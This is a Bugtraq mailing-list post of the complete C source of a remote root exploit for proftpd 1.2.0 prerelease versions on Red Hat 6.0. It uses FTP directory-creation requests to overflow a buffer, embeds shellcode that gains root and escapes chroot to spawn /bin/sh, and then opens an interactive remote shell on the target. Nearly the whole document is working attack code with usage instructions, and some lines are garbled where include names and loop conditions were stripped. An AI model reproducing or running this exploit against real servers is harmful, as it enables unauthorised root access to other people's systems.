Subject: ProFTPD To: BUGTRAQ@SECURITYFOCUS.COM /* * !!!! Private .. ... distribute !!!! * * proftpd-1.2.0 remote root exploit (beta2) * (Still need some code, but it works fine) * * Offset: Linux Redhat 6.0 * 0 -> proftpd-1.2.0pre1 * 0 -> proftpd-1.2.0pre2 * 0 -> proftpd-1.2.0pre3 * (If this dont work, try changing the align) * * Usage: * $ cc pro.c -o pro * $ pro 1.1.1.1 ftp.linuz.com /incoming * * **** * Comunists are still alive ph34r * A lot of shit to : #cybernet@ircnet * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic * Dialtone,AlexB,naif,etcetc * without them this puppy cant be spreaded uaz uaz uaz * **** * #include #include #include #include #include #include #include #include #include #include #include #include #include #define RET 0xbffff550 #define ALINEA 0 void logintoftp(); void sh(); void mkd(char *); void put(char *); int max(int, int); char shellcode[] = "\x90\x90\x31\xc0\x31\xdb\xb0\x17" "\xcd\x80\x31\xc0\xb0\x17\xcd\x80" "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0" "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed" "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0" "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1" "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10" "\x56\x01\xce\x89\x1e\x83\xc6\x03" "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10" "\xcd\x80\x31\xc0\x88\x46\x07\x89" "\x76\x08\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd" "\x80\xe8\xac\xff\xff\xff"; char tmp[256]; char name[128], pass[128]; int sockfd; struct sockaddr_in server, yo; char inicio[20]; int main(int argc, char **argv) { char sendln[1024], recvln[4048], buf1[1000], buf2[200]; struct hostent *host; char *p, *q; int len; int offset = 0; int align = 0; int i; if(argc < 4){ printf("usage: pro [-l name pass] [offset align]\n"); printf("If dont work, try different align values (0 to 3)\n"); exit(0); } if(argc >= 5){ if(strcmp(argv[4], "-l") == 0){ strncpy(name, argv[5], 128); strncpy(pass, argv[6], 128); } else { offset = atoi(argv[4]); } if(argc == 9) offset = atoi(argv[7]); align = atoi(argv[8]); } sprintf(inicio, "%s", argv[1]); if(name[0] == 0 && pass[0] == 0){ strcpy(name, "anonymous"); strcpy(pass, "a@a.es"); } bzero(&server,sizeof(server)); bzero(recvln,sizeof(recvln)); bzero(sendln,sizeof(sendln)); server.sin_family=AF_INET; server.sin_port=htons(21); if((host = gethostbyname(argv[2])) != NULL) { bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length); } else { if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) { perror("Obteniendo ip"); exit(0); } } bzero((char*)&yo,sizeof(yo)); yo.sin_family = AF_INET; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket()"); exit(0); } if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) { perror("bind()"); exit(0); } if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){ perror("connect()"); exit(0); } printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr), ntohs(yo.sin_port)); printf("Connected\n"); getchar(); while((len = read(sockfd, recvln, sizeof(recvln))) > 0){ recvln[len] = '\0'; if(strchr(recvln, '\n') != NULL) break; } logintoftp(sockfd); printf("Logged\n"); bzero(sendln, sizeof(sendln)); memset(buf1, 0x90, 800); memcpy(buf1, argv[3], strlen(argv[3])); mkd(argv[3]); p = &buf1[strlen(argv[3])]; q = &buf1[799]; *q = '\x00'; while(p <= q) { strncpy(tmp, p, 100); mkd(tmp); p+=100; } mkd(shellcode); mkd("bin"); mkd("sh"); memset(buf2, 0x90, 100); for(i=4-ALINEA-align; i<96; i+=4) *(long *)&buf2[i] = RET + offset; p = &buf2[0]; q = &buf2[99]; strncpy(tmp, p, 100); put(tmp); sh(sockfd); close(sockfd); printf("EOF\n"); } void mkd(char *dir) { char snd[1024], rcv[1024]; char buf[1024], *p; int n; bzero(buf,sizeof(buf)); p=buf; for(n=0;n0) { rcv[n]=0; if(strchr(rcv,'\n')!=NULL) break; } return; } void put(char *dir) { char snd[1024], rcv[1024]; char buf[1024], *p; int n; int sockete, nsock; int port; int octeto_in[4]; char *oct; port=getpid()+1024; yo.sin_port=htons(port); bzero(buf,sizeof(buf)); p=buf; for(n=0;n 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("Logging %s/%s\n", name, pass); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", name); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", pass); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sh() { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0){ perror("read()"); exit(-1); } fputs(rcv, stdout); } } } int max(int x, int y) { if(x > y) return(x); else return(y); }IMG |